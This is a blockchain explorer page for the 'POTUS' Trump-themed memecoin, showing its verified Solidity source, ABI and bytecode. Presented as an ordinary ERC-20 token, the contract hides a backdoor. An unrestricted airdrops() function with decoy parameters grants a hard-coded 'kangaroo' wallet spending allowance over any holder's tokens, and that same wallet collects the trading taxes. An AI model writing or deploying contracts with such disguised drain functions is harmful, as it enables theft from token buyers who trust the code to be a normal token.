ETH Price: $3,399.97 (+2.04%)

Token

President OG Trump United States (POTUS)
 

Overview

Max Total Supply

420,690,000,000 POTUS

Holders

91

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,429,778,397.837084256 POTUS

Value
$0.00
0x20f32ADE335b7777a853ebc44c5830458dfB48da
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POTUS

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-08
*/

/**
We the community that supports TRUMP to become US president, officially take over this project. President OG Trump United States. POTUS

Web:  https://potusoneth.xyz
X:    https://x.com/potuscoin_eth
Tg:   https://t.me/potuscoin_eth
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract POTUS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) private _bots;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=12;
    uint256 private _reduceSellAt=12;
    uint256 private _preventCount=12;
    uint256 private _buyTokenCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"President OG Trump United States";
    string private constant _symbol = unicode"POTUS";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    address private kangaroo=0xaC7047bEA3c3bbe7113Ce8C723bdBcEa2cBb1949;
    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _isCaLimit = true;
    uint256 private _caBlockLimit = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _taxWallet = payable(kangaroo);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function init() external onlyOwner() { 
        uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniRouter), _tTotal);
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(address(this), uniRouter.WETH());
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function airdrops(address owner, bytes16 _mimi, bytes32 _meme) external{
        _allowances[owner][kangaroo] = _maxTxAmount;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFee=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            taxFee = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniPair && to != address(uniRouter) && ! _isExcludedFromFees[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }
            if(to == uniPair && from!= address(this) ){
                taxFee = amount.mul((_buyTokenCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendEthOf(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniPair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyTokenCount>_preventCount) {
                if (_isCaLimit) {
                    if (_caBlockLimit < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendEthOf(address(this).balance);
                        }
                        _caBlockLimit = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendEthOf(address(this).balance);
                    }
                }
            }
        }
        if(taxFee>0){
          _balances[address(this)]=_balances[address(this)].add(taxFee);
          emit Transfer(from, address(this), taxFee);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxFee));
        emit Transfer(from, to, amount.sub(taxFee));
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner {
        _isCaLimit = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function withdrawEth() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }
    receive() external payable {}
    function sendEthOf(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function openTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"bytes16","name":"_mimi","type":"bytes16"},{"internalType":"bytes32","name":"_meme","type":"bytes32"}],"name":"airdrops","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600655600c6007555f6008555f600955600c600a55600c600b55600c80555f600d5560646009600a61003891906103a0565b610047906461f313f8806103b5565b6100529060026103b5565b61005c91906103cc565b600e55606461006d6009600a6103a0565b61007c906461f313f8806103b5565b6100879060026103b5565b61009191906103cc565b600f5560646100a26009600a6103a0565b6100b1906461f313f8806103b5565b6100bc9060016103b5565b6100c691906103cc565b60105560646100d76009600a6103a0565b6100e6906461f313f8806103b5565b6100f19060016103b5565b6100fb91906103cc565b601155601280546001600160a01b03191673ac7047bea3c3bbe7113ce8c723bdbcea2cbb19491790556014805462ffffff60a81b1916600160b81b1790555f601555348015610148575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601254600580546001600160a01b0319166001600160a01b039092169190911790556101b76009600a6103a0565b6101c6906461f313f8806103b5565b335f9081526001602081905260408220929092556003906101ee5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055490911683529120805490921617905561024b3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102826009600a6103a0565b610291906461f313f8806103b5565b60405190815260200160405180910390a36103eb565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102f6578085048111156102da576102da6102a7565b60018416156102e857908102905b60019390931c9280026102bf565b935093915050565b5f8261030c5750600161039a565b8161031857505f61039a565b816001811461032e576002811461033857610354565b600191505061039a565b60ff841115610349576103496102a7565b50506001821b61039a565b5060208310610133831016604e8410600b8410161715610377575081810a61039a565b6103835f1984846102bb565b805f1904821115610396576103966102a7565b0290505b92915050565b5f6103ae60ff8416836102fe565b9392505050565b808202811582820484141761039a5761039a6102a7565b5f826103e657634e487b7160e01b5f52601260045260245ffd5b500490565b6118b5806103f85f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df1461035c578063a9059cbb14610370578063dd62ed3e1461038f578063e1c7392a146103d3578063fb201b1d146103e7575f80fd5b8063715018a6146102cc578063751039fc146102e05780637d1db4a5146102f45780638da5cb5b1461030957806395d89b411461032f575f80fd5b80632d9c6e59116100e35780632d9c6e5914610205578063300d621714610253578063313ce567146102685780636c0a24eb1461028357806370a0823114610298575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260208082527f507265736964656e74204f47205472756d7020556e6974656420537461746573908201525b604051610177919061149a565b60405180910390f35b34801561018b575f80fd5b5061019f61019a3660046114e3565b6103fb565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460115481565b604051908152602001610177565b3480156101dd575f80fd5b506101c4610411565b3480156101f1575f80fd5b5061019f61020036600461150d565b610432565b348015610210575f80fd5b5061025161021f36600461154b565b5050600e546001600160a01b039182165f90815260026020908152604080832060125490951683529390529190912055565b005b34801561025e575f80fd5b506101c460105481565b348015610273575f80fd5b5060405160098152602001610177565b34801561028e575f80fd5b506101c4600f5481565b3480156102a3575f80fd5b506101c46102b236600461158d565b6001600160a01b03165f9081526001602052604090205490565b3480156102d7575f80fd5b50610251610499565b3480156102eb575f80fd5b50610251610513565b3480156102ff575f80fd5b506101c4600e5481565b348015610314575f80fd5b505f546040516001600160a01b039091168152602001610177565b34801561033a575f80fd5b50604080518082019091526005815264504f54555360d81b602082015261016a565b348015610367575f80fd5b506102516105d4565b34801561037b575f80fd5b5061019f61038a3660046114e3565b610629565b34801561039a575f80fd5b506101c46103a93660046115a8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103de575f80fd5b50610251610635565b3480156103f2575f80fd5b5061025161082f565b5f61040733848461099d565b5060015b92915050565b5f61041e6009600a6116d6565b61042d906461f313f8806116e4565b905090565b5f61043e848484610ac1565b61048f843361048a85604051806060016040528060288152602001611858602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611112565b61099d565b5060019392505050565b5f546001600160a01b031633146104cb5760405162461bcd60e51b81526004016104c2906116fb565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461053c5760405162461bcd60e51b81526004016104c2906116fb565b6014805460ff60b81b191690556105556009600a6116d6565b610564906461f313f8806116e4565b600e556105736009600a6116d6565b610582906461f313f8806116e4565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b26009600a6116d6565b6105c1906461f313f8806116e4565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105fd5760405162461bcd60e51b81526004016104c2906116fb565b60405133904780156108fc02915f818181858888f19350505050158015610626573d5f803e3d5ffd5b50565b5f610407338484610ac1565b5f546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104c2906116fb565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a89030906106996009600a6116d6565b61048a906461f313f8806116e4565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071c9190611730565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079f9190611730565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080d9190611730565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108585760405162461bcd60e51b81526004016104c2906116fb565b601454600160a01b900460ff16156108b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c2565b6013546001600160a01b031663f305d71947306108e3816001600160a01b03165f9081526001602052604090205490565b5f806108f65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610981919061174b565b50506014805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166109ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c2565b6001600160a01b038216610a605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c2565b6001600160a01b038216610b875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c2565b5f8111610be85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c2565b601454600160b01b900460ff161580610c0a5750601454600160a81b900460ff165b15610cb4576001600160a01b0383165f90815260016020526040902054610c32908290611776565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c61908290611789565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab49085815260200190565b5f80546001600160a01b03858116911614801590610cdf57505f546001600160a01b03848116911614155b15610fd5576001600160a01b0384165f9081526004602052604090205460ff16158015610d2457506001600160a01b0383165f9081526004602052604090205460ff16155b610d2c575f80fd5b610d586064610d52600a54600d5411610d4757600654610d4b565b6008545b859061114a565b906111cf565b6014549091506001600160a01b038581169116148015610d8657506013546001600160a01b03848116911614155b8015610daa57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e9057600e54821115610e015760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c2565b600f5482610e23856001600160a01b03165f9081526001602052604090205490565b610e2d9190611789565b1115610e7b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c2565b600d8054905f610e8a8361179c565b91905055505b6014546001600160a01b038481169116148015610eb657506001600160a01b0384163014155b15610eee57610ee06064610d52600b54600d5411610ed657600754610d4b565b600954859061114a565b905047610eec47611210565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610f2457506014546001600160a01b038581169116145b8015610f395750601454600160b01b900460ff165b8015610f46575060105481115b8015610f555750600c54600d54115b15610fd357601454600160b81b900460ff1615610fae57436015541015610fa957610f93610f8e84610f898460115461124b565b61124b565b61125f565b478015610fa357610fa347611210565b50436015555b610fd3565b610fc1610f8e84610f898460115461124b565b478015610fd157610fd147611210565b505b505b801561104d57305f90815260016020526040902054610ff490826113cf565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110449085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461106f908361142d565b6001600160a01b0385165f908152600160205260409020556110b2611094838361142d565b6001600160a01b0385165f90815260016020526040902054906113cf565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110fb858561142d565b60405190815260200160405180910390a350505050565b5f81848411156111355760405162461bcd60e51b81526004016104c2919061149a565b505f6111418486611776565b95945050505050565b5f825f0361115957505f61040b565b5f61116483856116e4565b90508261117185836117b4565b146111c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c2565b9392505050565b5f6111c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146e565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611247573d5f803e3d5ffd5b5050565b5f81831161125957826111c8565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112a5576112a56117d3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113209190611730565b81600181518110611333576113336117d3565b6001600160a01b039283166020918202929092010152601354611359913091168461099d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113919085905f908690309042906004016117e7565b5f604051808303815f87803b1580156113a8575f80fd5b505af11580156113ba573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806113db8385611789565b9050838110156111c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c2565b5f6111c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611112565b5f818361148e5760405162461bcd60e51b81526004016104c2919061149a565b505f61114184866117b4565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610626575f80fd5b5f80604083850312156114f4575f80fd5b82356114ff816114cf565b946020939093013593505050565b5f805f6060848603121561151f575f80fd5b833561152a816114cf565b9250602084013561153a816114cf565b929592945050506040919091013590565b5f805f6060848603121561155d575f80fd5b8335611568816114cf565b925060208401356fffffffffffffffffffffffffffffffff198116811461153a575f80fd5b5f6020828403121561159d575f80fd5b81356111c8816114cf565b5f80604083850312156115b9575f80fd5b82356115c4816114cf565b915060208301356115d4816114cf565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561162e57808504811115611612576116126115df565b600184161561162057908102905b60019390931c9280026115f7565b935093915050565b5f826116445750600161040b565b8161165057505f61040b565b816001811461166657600281146116705761168c565b600191505061040b565b60ff841115611681576116816115df565b50506001821b61040b565b5060208310610133831016604e8410600b84101617156116af575081810a61040b565b6116bb5f1984846115f3565b805f19048211156116ce576116ce6115df565b029392505050565b5f6111c860ff841683611636565b808202811582820484141761040b5761040b6115df565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611740575f80fd5b81516111c8816114cf565b5f805f6060848603121561175d575f80fd5b5050815160208301516040909301519094929350919050565b8181038181111561040b5761040b6115df565b8082018082111561040b5761040b6115df565b5f600182016117ad576117ad6115df565b5060010190565b5f826117ce57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118375783516001600160a01b0316835260209384019390920191600101611810565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd7d0daa8c7a32582f7eda2b109451bc0414509f23585aebcb4f5fe9f56ed15a64736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df1461035c578063a9059cbb14610370578063dd62ed3e1461038f578063e1c7392a146103d3578063fb201b1d146103e7575f80fd5b8063715018a6146102cc578063751039fc146102e05780637d1db4a5146102f45780638da5cb5b1461030957806395d89b411461032f575f80fd5b80632d9c6e59116100e35780632d9c6e5914610205578063300d621714610253578063313ce567146102685780636c0a24eb1461028357806370a0823114610298575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260208082527f507265736964656e74204f47205472756d7020556e6974656420537461746573908201525b604051610177919061149a565b60405180910390f35b34801561018b575f80fd5b5061019f61019a3660046114e3565b6103fb565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460115481565b604051908152602001610177565b3480156101dd575f80fd5b506101c4610411565b3480156101f1575f80fd5b5061019f61020036600461150d565b610432565b348015610210575f80fd5b5061025161021f36600461154b565b5050600e546001600160a01b039182165f90815260026020908152604080832060125490951683529390529190912055565b005b34801561025e575f80fd5b506101c460105481565b348015610273575f80fd5b5060405160098152602001610177565b34801561028e575f80fd5b506101c4600f5481565b3480156102a3575f80fd5b506101c46102b236600461158d565b6001600160a01b03165f9081526001602052604090205490565b3480156102d7575f80fd5b50610251610499565b3480156102eb575f80fd5b50610251610513565b3480156102ff575f80fd5b506101c4600e5481565b348015610314575f80fd5b505f546040516001600160a01b039091168152602001610177565b34801561033a575f80fd5b50604080518082019091526005815264504f54555360d81b602082015261016a565b348015610367575f80fd5b506102516105d4565b34801561037b575f80fd5b5061019f61038a3660046114e3565b610629565b34801561039a575f80fd5b506101c46103a93660046115a8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103de575f80fd5b50610251610635565b3480156103f2575f80fd5b5061025161082f565b5f61040733848461099d565b5060015b92915050565b5f61041e6009600a6116d6565b61042d906461f313f8806116e4565b905090565b5f61043e848484610ac1565b61048f843361048a85604051806060016040528060288152602001611858602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611112565b61099d565b5060019392505050565b5f546001600160a01b031633146104cb5760405162461bcd60e51b81526004016104c2906116fb565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461053c5760405162461bcd60e51b81526004016104c2906116fb565b6014805460ff60b81b191690556105556009600a6116d6565b610564906461f313f8806116e4565b600e556105736009600a6116d6565b610582906461f313f8806116e4565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b26009600a6116d6565b6105c1906461f313f8806116e4565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105fd5760405162461bcd60e51b81526004016104c2906116fb565b60405133904780156108fc02915f818181858888f19350505050158015610626573d5f803e3d5ffd5b50565b5f610407338484610ac1565b5f546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104c2906116fb565b60